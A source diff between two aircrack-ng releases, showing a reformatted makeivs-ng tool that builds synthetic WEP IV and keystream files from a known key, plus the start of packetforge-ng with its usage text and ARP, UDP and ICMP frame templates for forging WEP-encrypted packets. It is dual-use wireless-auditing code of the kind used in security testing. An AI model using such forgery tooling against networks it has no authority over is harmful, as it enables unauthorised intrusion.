-        {"count",    1, 0, 'c'},
-        {"seed",     1, 0, 's'},
-        {"length",   1, 0, 'l'},
-        {"first",    1, 0, 'f'},
-        {"bssid",    1, 0, 'b'},
-        {"dupe",     1, 0, 'd'},
-        {"error",    1, 0, 'e'},
-        {"nofms",    0, 0, 'n'},
-        {"prng",     0, 0, 'p'},
-        {"help",     0, 0, 'H'},
-        {0,          0, 0,  0 }
-    };
-
-    i = 0;
-    memset(K, 0, 32);
-    memset(bssid, 0, 6);
-    uiv_root = uniqueiv_init();
-
-    /* check the arguments */
-
-    do
-    {
-        option_index = 0;
-
-        option = getopt_long( argc, argv,
-                        "k:w:c:s:l:f:b:d:e:npHh",
-                        long_options, &option_index );
-
-        if( option < 0 ) break;
-
-        switch( option )
-        {
-            case 0 :
-
-                break;
-
-            case ':':
-
-                goto usage;
-                break;
-
-            case '?':
-
-                goto usage;
-                break;
-
-            case 'n':
+	int i, j, k, pre_n, n, count = 100000, length = 16;
+	int paramUsed = 0, keylen = 0, zero = 0, startiv = 0, iv = 0;
+	FILE * f_ivs_out;
+	unsigned char K[32];
+	unsigned char S[256];
+	//     unsigned char buffer[64];
+	char *s, *filename = NULL;
+	struct ivs2_pkthdr ivs2;
+	struct ivs2_filehdr fivs2;
+	unsigned long long size;
+	int option_index, option, crypt = 0;
+	char buf[2048];
+	int weplen = 0, nofms = 0, prng = 0;
+	float errorrate = 0, dupe = 0;
+	unsigned char bssid[6];
+	int seed = time(NULL), z;
+	int maxivs = 0x1000000;
+	unsigned char byte;
+	unsigned char ** uiv_root;
+
+	static struct option long_options[] = {{"key", 1, 0, 'k'},
+										   {"write", 1, 0, 'w'},
+										   {"count", 1, 0, 'c'},
+										   {"seed", 1, 0, 's'},
+										   {"length", 1, 0, 'l'},
+										   {"first", 1, 0, 'f'},
+										   {"bssid", 1, 0, 'b'},
+										   {"dupe", 1, 0, 'd'},
+										   {"error", 1, 0, 'e'},
+										   {"nofms", 0, 0, 'n'},
+										   {"prng", 0, 0, 'p'},
+										   {"help", 0, 0, 'H'},
+										   {0, 0, 0, 0}};
+
+	i = 0;
+	memset(K, 0, 32);
+	memset(bssid, 0, 6);
+	uiv_root = uniqueiv_init();
+
+	/* check the arguments */
+
+	do
+	{
+		option_index = 0;
 
-				paramUsed = 1;
-                nofms = 1;
-                break;
+		option = getopt_long(
+			argc, argv, "k:w:c:s:l:f:b:d:e:npHh", long_options, &option_index);
 
-            case 'p':
+		if (option < 0) break;
 
-				paramUsed = 1;
-                prng = 1;
-                break;
+		switch (option)
+		{
+			case 0:
 
-            case 'l':
+				break;
 
-				paramUsed = 1;
-                if (atoi(optarg) < 2 || atoi(optarg) > 2300) {
-					printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-                    printf( "Specified keystream length is invalid. [2-2300]" );
-                    return( 1 );
-                }
+			case ':':
+
+				goto usage;
+				break;
 
-                length = atoi(optarg);
-                break;
+			case '?':
 
-            case 'c':
+				goto usage;
+				break;
+
+			case 'n':
+
+				paramUsed = 1;
+				nofms = 1;
+				break;
+
+			case 'p':
 
 				paramUsed = 1;
-                if (atoi(optarg) < 1 || atoi(optarg) > 0x1000000) {
-					printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-                    printf( "Specified number of IVs is invalid. [1-16777216]" );
-                    return( 1 );
-                }
+				prng = 1;
+				break;
+
+			case 'l':
 
-                count = atoi(optarg);
-                break;
+				paramUsed = 1;
+				if (atoi(optarg) < 2 || atoi(optarg) > 2300)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+					printf("Specified keystream length is invalid. [2-2300]");
+					return (1);
+				}
+
+				length = atoi(optarg);
+				break;
+
+			case 'c':
 
-            case 's':
+				paramUsed = 1;
+				if (atoi(optarg) < 1 || atoi(optarg) > 0x1000000)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+					printf("Specified number of IVs is invalid. [1-16777216]");
+					return (1);
+				}
+
+				count = atoi(optarg);
+				break;
+
+			case 's':
 
 				paramUsed = 1;
-                if (atoi(optarg) < 1) {
-                    printf( "Specified seed is invalid. [>=1]" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				if (atoi(optarg) < 1)
+				{
+					printf("Specified seed is invalid. [>=1]");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                seed = atoi(optarg);
-                break;
+				seed = atoi(optarg);
+				break;
 
-            case 'e':
+			case 'e':
 
 				paramUsed = 1;
-                sscanf(optarg, "%f", &errorrate);
+				sscanf(optarg, "%f", &errorrate);
 #if defined(__x86_64__) && defined(__CYGWIN__)
-                if (errorrate < 0.0f || errorrate > (0.0f + 100)) {
+				if (errorrate < 0.0f || errorrate > (0.0f + 100))
+				{
 #else
-                if (errorrate < 0.0f || errorrate > 100.0f) {
+				if (errorrate < 0.0f || errorrate > 100.0f)
+				{
 #endif
-			printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-                    printf( "Specified errorrate is invalid. [0-100]" );
-                    return( 1 );
-                }
-
-                break;
-
-            case 'd':
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+					printf("Specified errorrate is invalid. [0-100]");
+					return (1);
+				}
+
+				break;
+
+			case 'd':
 
 				paramUsed = 1;
-                if (sscanf(optarg, "%f", &dupe) != 1 || dupe < 0.0f || dupe >
+				if (sscanf(optarg, "%f", &dupe) != 1 || dupe < 0.0f
+					|| dupe >
 #if defined(__x86_64__) && defined(__CYGWIN__)
-			(0.0f + 100)) {
+						   (0.0f + 100))
+				{
 #else
-			100.0f) {
+						   100.0f)
+				{
 #endif
-					printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
 
-                    printf( "Specified dupe is invalid. [0-100]" );
-                    return( 1 );
-                }
+					printf("Specified dupe is invalid. [0-100]");
+					return (1);
+				}
 
-                break;
+				break;
 
-            case 'f':
+			case 'f':
 
 				paramUsed = 1;
-                if (atoi(optarg) < 0 || atoi(optarg) > 0xFFFFFF) {
-					printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-
-                    printf( "Specified start IV is invalid. [0-16777215]" );
-                    return( 1 );
-                }
+				if (atoi(optarg) < 0 || atoi(optarg) > 0xFFFFFF)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+
+					printf("Specified start IV is invalid. [0-16777215]");
+					return (1);
+				}
 
 				paramUsed = 1;
-                startiv = atoi(optarg);
-                break;
+				startiv = atoi(optarg);
+				break;
 
-            case 'w':
+			case 'w':
 
 				paramUsed = 1;
-                filename = optarg;
-                break;
+				filename = optarg;
+				break;
 
-            case 'b':
+			case 'b':
 
 				paramUsed = 1;
-                if ( memcmp(bssid, NULL_MAC, 6) != 0 )
-                {
-                    printf("Notice: bssid already given\n");
-                    break;
-                }
-                if(getmac(optarg, 1, bssid) != 0)
-                {
-					printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-
-                    printf("Notice: invalid bssid\n");
-                    return( 1 );
-                }
-                break;
-
-            case 'k' :
+				if (memcmp(bssid, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: bssid already given\n");
+					break;
+				}
+				if (getmac(optarg, 1, bssid) != 0)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+
+					printf("Notice: invalid bssid\n");
+					return (1);
+				}
+				break;
+
+			case 'k':
 
 				paramUsed = 1;
-                if( crypt != 0 )
-                {
-					printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-
-                    printf( "Encryption key already specified.\n" );
-                    return( 1 );
-                }
-
-                crypt = 1;
-
-                i = 0;
-                s = optarg;
-
-                buf[0] = s[0];
-                buf[1] = s[1];
-                buf[2] = '\0';
-
-                while( sscanf( buf, "%x", &n ) == 1 )
-                {
-                    if( n < 0 || n > 255 )
-                    {
-						printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-
-                        printf( "Invalid WEP key.\n" );
-                        return( 1 );
-                    }
-
-                    K[3+i++] = n;
-
-                    if( i >= 32 ) break;
+				if (crypt != 0)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+
+					printf("Encryption key already specified.\n");
+					return (1);
+				}
+
+				crypt = 1;
+
+				i = 0;
+				s = optarg;
+
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &n) == 1)
+				{
+					if (n < 0 || n > 255)
+					{
+						printf(usage,
+							   getVersion("makeivs-ng",
+										  _MAJ,
+										  _MIN,
+										  _SUB_MIN,
+										  _REVISION,
+										  _BETA,
+										  _RC));
+
+						printf("Invalid WEP key.\n");
+						return (1);
+					}
+
+					if (3 + i >= 32) break;
+
+					K[3 + i++] = n;
+
+					s += 2;
+
+					if (s[0] == ':' || s[0] == '-') s++;
+
+					if (s[0] == '\0' || s[1] == '\0') break;
+
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+
+				if (i != 5 && i != 13 && i != 29)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+
+					printf("Invalid WEP key length. [5,13,29]\n");
+					return (1);
+				}
+
+				weplen = i;
+				keylen = i + 3;
+
+				break;
+
+			case 'h':
+			case 'H':
+				goto usage;
+				break;
+
+			default:
+				goto usage;
+		}
+	} while (1);
+
+	if (nofms) maxivs -= 256 * weplen;
+
+	srand(seed);
 
-                    s += 2;
+	if (paramUsed == 0)
+	{
+	usage:
+		printf(usage,
+			   getVersion(
+				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+		return (0);
+	}
 
-                    if( s[0] == ':' || s[0] == '-' )
-                        s++;
+	if (count > maxivs)
+	{
+		printf(usage,
+			   getVersion(
+				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+
+		printf("Specified too many IVs (%d), but there are only %d possible.\n",
+			   count,
+			   maxivs);
+		return (1);
+	}
 
-                    if( s[0] == '\0' || s[1] == '\0' )
-                        break;
+	if (length == 0) length = 16; // default 16 keystreambytes
 
-                    buf[0] = s[0];
-                    buf[1] = s[1];
-                }
+	if (crypt < 1)
+	{
+		printf(usage,
+			   getVersion(
+				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
 
-                if( i != 5 && i != 13 && i != 29)
-                {
-					printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
+		printf("You need to specify the WEP key (-k).\n");
+		return (1);
+	}
 
-                    printf( "Invalid WEP key length. [5,13,29]\n" );
-                    return( 1 );
-                }
+	if (filename == NULL)
+	{
+		printf(usage,
+			   getVersion(
+				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
 
-                weplen = i;
-                keylen = i+3;
+		printf("You need to specify the output filename (-w).\n");
+		return (1);
+	}
 
-                break;
+	size = (long long) strlen(IVS2_MAGIC)
+		   + (long long) sizeof(struct ivs2_filehdr)
+		   + (long long) count * (long long) sizeof(struct ivs2_pkthdr)
+		   + (long long) count * (long long) (length + 4);
+
+	printf("Creating %d IVs with %d bytes of keystream each.\n", count, length);
+	printf("Estimated filesize: ");
+	if (size > 1024 * 1024 * 1024) // over 1 GB
+		printf("%.2f GB\n", ((double) size / (1024.0 * 1024.0 * 1024.0)));
+	else if (size > 1024 * 1024) // over 1 MB
+		printf("%.2f MB\n", ((double) size / (1024.0 * 1024.0)));
+	else if (size > 1024) // over 1 KB
+		printf("%.2f KB\n", ((double) size / 1024.0));
+	else // under 1 KB
+		printf("%.2f Byte\n", (double) size);
+
+	if ((f_ivs_out = fopen(filename, "wb+")) == NULL)
+	{
+		perror("fopen");
+		return (1);
+	}
 
-			case 'h' :
-            case 'H' :
-            	goto usage;
-            	break;
+	if (fwrite(IVS2_MAGIC, 1, 4, f_ivs_out) != (size_t) 4)
+	{
+		perror("fwrite(IVs file MAGIC) failed");
+		return (1);
+	}
 
+	memset(&fivs2, '\x00', sizeof(struct ivs2_filehdr));
+	fivs2.version = IVS2_VERSION;
 
-            default : goto usage;
-        }
-    } while ( 1 );
+	/* write file header */
+	if (fwrite(&fivs2, sizeof(struct ivs2_filehdr), 1, f_ivs_out) != (size_t) 1)
+	{
+		perror("fwrite(IV file header) failed");
+		return (1);
+	}
 
-    if(nofms)
-        maxivs -= 256*weplen;
+	memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+	ivs2.flags |= IVS2_BSSID;
+	ivs2.len += 6;
 
-    srand(seed);
+	/* write header */
+	if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out)
+		!= (size_t) sizeof(struct ivs2_pkthdr))
+	{
+		perror("fwrite(IV header) failed");
+		return (1);
+	}
 
-	if (paramUsed == 0)
+	if (memcmp(NULL_MAC, bssid, 6) == 0)
 	{
-usage:
-		printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-		return( 0 );
+		memcpy(bssid, "\x01\x02\x03\x04\x05\x06", 6);
 	}
 
-    if(count > maxivs)
-    {
-		printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-
-        printf( "Specified too many IVs (%d), but there are only %d possible.\n", count, maxivs);
-        return( 1 );
-    }
-
-    if(length == 0)
-        length = 16; //default 16 keystreambytes
-
-    if(crypt < 1)
-    {
-		printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-
-        printf("You need to specify the WEP key (-k).\n");
-        return( 1 );
-    }
-
-    if(filename == NULL)
-    {
-		printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-
-        printf("You need to specify the output filename (-w).\n");
-        return( 1 );
-    }
-
-    size = (long long)strlen(IVS2_MAGIC) + (long long)sizeof(struct ivs2_filehdr) + (long long)count *
-           (long long)sizeof(struct ivs2_pkthdr) + (long long)count * (long long)(length+4);
-
-    printf("Creating %d IVs with %d bytes of keystream each.\n", count, length);
-    printf("Estimated filesize: ");
-    if(size > 1024*1024*1024)   //over 1 GB
-        printf("%.2f GB\n", ((double)size/(1024.0*1024.0*1024.0)));
-    else if (size > 1024*1024)  //over 1 MB
-        printf("%.2f MB\n", ((double)size/(1024.0*1024.0)));
-    else if (size > 1024)       //over 1 KB
-        printf("%.2f KB\n", ((double)size/1024.0));
-    else                        //under 1 KB
-        printf("%.2f Byte\n", (double)size);
-
-    if( ( f_ivs_out = fopen( filename, "wb+" ) ) == NULL )
-    {
-        perror( "fopen" );
-        return( 1 );
-    }
-
-    if( fwrite( IVS2_MAGIC, 1, 4, f_ivs_out ) != (size_t) 4 )
-    {
-        perror( "fwrite(IVs file MAGIC) failed" );
-        return( 1 );
-    }
-
-    memset(&fivs2, '\x00', sizeof(struct ivs2_filehdr));
-    fivs2.version = IVS2_VERSION;
-
-    /* write file header */
-    if( fwrite( &fivs2, sizeof(struct ivs2_filehdr), 1, f_ivs_out )
-        != (size_t) 1 )
-    {
-        perror( "fwrite(IV file header) failed" );
-        return( 1 );
-    }
-
-    memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-    ivs2.flags |= IVS2_BSSID;
-    ivs2.len += 6;
-
-    /* write header */
-    if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out )
-        != (size_t) sizeof(struct ivs2_pkthdr) )
-    {
-        perror( "fwrite(IV header) failed" );
-        return( 1 );
-    }
-
-    if( memcmp(NULL_MAC, bssid, 6) == 0)
-    {
-        memcpy(bssid, "\x01\x02\x03\x04\x05\x06", 6);
-    }
-
-    /* write BSSID */
-    if( fwrite( bssid, 1, 6, f_ivs_out )
-        != (size_t) 6 )
-    {
-        perror( "fwrite(IV bssid) failed" );
-        return( 1 );
-    }
-    printf("Using fake BSSID %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5] );
-    z=0;
-    pre_n=0;
-    for( n = 0; n < count; n++ )
-    {
-        if( (dupe==0) || (pre_n == n) || ((float)rand()/(float)RAND_MAX > (float)((float)dupe/
+	/* write BSSID */
+	if (fwrite(bssid, 1, 6, f_ivs_out) != (size_t) 6)
+	{
+		perror("fwrite(IV bssid) failed");
+		return (1);
+	}
+	printf("Using fake BSSID %02X:%02X:%02X:%02X:%02X:%02X\n",
+		   bssid[0],
+		   bssid[1],
+		   bssid[2],
+		   bssid[3],
+		   bssid[4],
+		   bssid[5]);
+	z = 0;
+	pre_n = 0;
+	for (n = 0; n < count; n++)
+	{
+		if ((dupe == 0) || (pre_n == n)
+			|| ((float) rand() / (float) RAND_MAX > (float) ((float) dupe /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-		(0.0f + 100))) )
+															 (0.0f + 100))))
 #else
-		100.0f)) )
+															 100.0f)))
 #endif
-        {
-            if(prng)
-            {
-                iv = rand() & 0xFFFFFF;
-            }
-            else
-            {
-                iv = (z + startiv) & 0xFFFFFF;
-                z++;
-            }
-
-            if(nofms)
-            {
-                if ((iv & 0xff00) == 0xff00) {
-                    byte = (iv >> 16) & 0xff;
-                    if (byte >= 3 && byte < keylen)
-                    {
-                        if(!prng && (iv&0xFF)==0)
-                            z+=0xff;
-                        n--;
-                        continue;
-                    }
-                }
-            }
-
-            if( uniqueiv_check( uiv_root, (unsigned char*)&iv ) != 0 )
-            {
-                n--;
-                continue;
-            }
-
-            uniqueiv_mark( uiv_root, (unsigned char*)&iv );
-
-        }
-
-        pre_n=n;
-
-        K[2] = ( iv >> 16 ) & 0xFF;
-        K[1] = ( iv >>  8 ) & 0xFF;
-        K[0] = ( iv       ) & 0xFF;
-
-        for( i = 0; i < 256; i++ )
-            S[i] = i;
-
-        for( i = j = 0; i < 256; i++ )
-        {
-            j = ( j + S[i] + K[i % keylen] ) & 0xFF;
-            SWAP( S[i], S[j] );
-        }
-
-        if(errorrate > 0 && ((float)((float)rand()/(float)RAND_MAX) <= (float)(errorrate/
+		{
+			if (prng)
+			{
+				iv = rand() & 0xFFFFFF;
+			}
+			else
+			{
+				iv = (z + startiv) & 0xFFFFFF;
+				z++;
+			}
+
+			if (nofms)
+			{
+				if ((iv & 0xff00) == 0xff00)
+				{
+					byte = (iv >> 16) & 0xff;
+					if (byte >= 3 && byte < keylen)
+					{
+						if (!prng && (iv & 0xFF) == 0) z += 0xff;
+						n--;
+						continue;
+					}
+				}
+			}
+
+			if (uniqueiv_check(uiv_root, (unsigned char *) &iv) != 0)
+			{
+				n--;
+				continue;
+			}
+
+			uniqueiv_mark(uiv_root, (unsigned char *) &iv);
+		}
+
+		pre_n = n;
+
+		K[2] = (iv >> 16) & 0xFF;
+		K[1] = (iv >> 8) & 0xFF;
+		K[0] = (iv) &0xFF;
+
+		for (i = 0; i < 256; i++) S[i] = i;
+
+		for (i = j = 0; i < 256; i++)
+		{
+			j = (j + S[i] + K[i % keylen]) & 0xFF;
+			SWAP(S[i], S[j]);
+		}
+
+		if (errorrate > 0 && ((float) ((float) rand() / (float) RAND_MAX)
+							  <= (float) (errorrate /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-		(0.0f + 100))) )
+										  (0.0f + 100))))
 #else
-		100.0f)) )
+										  100.0f)))
 #endif
-        {
-            SWAP( S[1], S[11] );
-        }
-
-        memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-        ivs2.flags = 0;
-        ivs2.len = 0;
-
-        ivs2.flags |= IVS2_XOR;
-        ivs2.len += length+4;
-
-        if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out )
-            != (size_t) sizeof(struct ivs2_pkthdr) )
-        {
-            perror( "fwrite(IV header) failed" );
-            return( 1 );
-        }
-
-        if( fwrite( K, 1, 3, f_ivs_out ) != (size_t) 3 )
-        {
-            perror( "fwrite(IV iv) failed" );
-            return( 1 );
-        }
-        if( fwrite( &zero, 1, 1, f_ivs_out ) != (size_t) 1 )
-        {
-            perror( "fwrite(IV idx) failed" );
-            return( 1 );
-        }
-        ivs2.len -= 4;
-
-        i = j = 0;
-        for( k=0; k < length; k++ )
-        {
-            i = (i+1) & 0xFF; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]);
-            fprintf( f_ivs_out, "%c", S[(S[i] + S[j]) & 0xFF] );
-        }
-        if((n%10000) == 0)
-            printf("%2.1f%%\r", ((float)n/(float)count)*
+		{
+			SWAP(S[1], S[11]);
+		}
+
+		memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+		ivs2.flags = 0;
+		ivs2.len = 0;
+
+		ivs2.flags |= IVS2_XOR;
+		ivs2.len += length + 4;
+
+		if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out)
+			!= (size_t) sizeof(struct ivs2_pkthdr))
+		{
+			perror("fwrite(IV header) failed");
+			return (1);
+		}
+
+		if (fwrite(K, 1, 3, f_ivs_out) != (size_t) 3)
+		{
+			perror("fwrite(IV iv) failed");
+			return (1);
+		}
+		if (fwrite(&zero, 1, 1, f_ivs_out) != (size_t) 1)
+		{
+			perror("fwrite(IV idx) failed");
+			return (1);
+		}
+		ivs2.len -= 4;
+
+		i = j = 0;
+		for (k = 0; k < length; k++)
+		{
+			i = (i + 1) & 0xFF;
+			j = (j + S[i]) & 0xFF;
+			SWAP(S[i], S[j]);
+			fprintf(f_ivs_out, "%c", S[(S[i] + S[j]) & 0xFF]);
+		}
+		if ((n % 10000) == 0)
+			printf("%2.1f%%\r",
+				   ((float) n / (float) count) *
 #if defined(__x86_64__) && defined(__CYGWIN__)
-		(0.0f + 100));
+					   (0.0f + 100));
 #else
-		100.0f);
+					   100.0f);
 #endif
-        fflush(stdout);
-    }
+		fflush(stdout);
+	}
 
-    fclose( f_ivs_out );
-    printf( "Done.\n" );
-    return( 0 );
+	fclose(f_ivs_out);
+	printf("Done.\n");
+	return (0);
 }
-

aircrack-ng-1.2-rc4.tar.gz/src/packetforge-ng.c -> aircrack-ng-1.4.tar.gz/src/packetforge-ng.c Changed

@@ -1,8 +1,8 @@
 /*
  *  802.11 ARP-request WEP packet forgery
- *  UDP, ICMP and custom packet forging developped by Martin Beck
+ *  UDP, ICMP and custom packet forging developed by Martin Beck
  *
- *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005  Christophe Devine (arpforge)
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -17,7 +17,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -39,1486 +39,1491 @@
 #include <string.h>
 #include <sys/time.h>
 #include <time.h>
+#include <limits.h>
 #include <getopt.h>
 #include "version.h"
 #include "pcap.h"
 #include "crypto.h"
-#include "osdep/byteorder.h"
-#include "common.h"
-
-#define ARP_REQ \
-    "\x08\x00\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
-    "\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\xAA\xAA\x03\x00" \
-    "\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC" \
-    "\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22" \
-    "\x00\x00\x00\x00\x00\x00\x00\x00"
-
-#define UDP_PACKET      \
-    "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"  \
-    "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"  \
-    "\x45\x00\x00\x1D\x00\x00\x40\x00\x40\x11\x00\x00\xC3\xBE\x8E\x74"  \
-    "\xC1\x16\x02\x01\x83\x86\x86\x29\x00\x00\x00\x00\x05"
-
-#define ICMP_PACKET      \
-    "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"  \
-    "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"  \
-    "\x45\x00\x00\x1C\x00\x00\x40\x00\x40\x01\x00\x00\xC3\xBE\x8E\x74"  \
-    "\xC1\x16\x02\x01\x08\x00\x83\xDC\x74\x22\x00\x01"
-
-#define NULL_PACKET      \
-    "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"  \
-    "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32"
-
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-extern int getmac(char * macAddress, int strict, unsigned char * mac);
-extern int add_crc32(unsigned char* data, int length);
-
-
-char usage[] =
-"\n"
-"  %s - (C) 2006-2015 Thomas d\'Otreppe\n"
-"  Original work: Martin Beck\n"
-"  http://www.aircrack-ng.org\n"
-"\n"
-"  Usage: packetforge-ng <mode> <options>\n"
-"\n"
-"  Forge options:\n"
-"\n"
-"      -p <fctrl>     : set frame control word (hex)\n"
-"      -a <bssid>     : set Access Point MAC address\n"
-"      -c <dmac>      : set Destination  MAC address\n"
-"      -h <smac>      : set Source       MAC address\n"
-"      -j             : set FromDS bit\n"
-"      -o             : clear ToDS bit\n"
-"      -e             : disables WEP encryption\n"
-"      -k <ip[:port]> : set Destination IP [Port]\n"
-"      -l <ip[:port]> : set Source      IP [Port]\n"
-"      -t ttl         : set Time To Live\n"
-"      -w <file>      : write packet to this pcap file\n"
-"      -s <size>      : specify size of null packet\n"
-"      -n <packets>   : set number of packets to generate\n"
-"\n"
-"  Source options:\n"
-"\n"
-"      -r <file>      : read packet from this raw file\n"
-"      -y <file>      : read PRGA from this file\n"
-"\n"
-"  Modes:\n"
-"\n"
-"      --arp          : forge an ARP packet    (-0)\n"
-"      --udp          : forge an UDP packet    (-1)\n"
-"      --icmp         : forge an ICMP packet   (-2)\n"
-"      --null         : build a null packet    (-3)\n"
-"      --custom       : build a custom packet  (-9)\n"
-"\n"
-"      --help         : Displays this usage screen\n"
-"\n";
+#include "aircrack-osdep/byteorder.h"
+#include "aircrack-util/common.h"
+#include "aircrack-util/console.h"
+
+#define ARP_REQ                                                                \
+	"\x08\x00\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\xAA\xAA\x03\x00"                         \
+	"\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC"         \
+	"\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22"         \
+	"\x00\x00\x00\x00\x00\x00\x00\x00"
+
+#define UDP_PACKET                                                             \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"         \
+	"\x45\x00\x00\x1D\x00\x00\x40\x00\x40\x11\x00\x00\xC3\xBE\x8E\x74"         \
+	"\xC1\x16\x02\x01\x83\x86\x86\x29\x00\x00\x00\x00\x05"
+
+#define ICMP_PACKET                                                            \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"         \
+	"\x45\x00\x00\x1C\x00\x00\x40\x00\x40\x01\x00\x00\xC3\xBE\x8E\x74"         \
+	"\xC1\x16\x02\x01\x08\x00\x83\xDC\x74\x22\x00\x01"
+
+#define NULL_PACKET                                                            \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32"
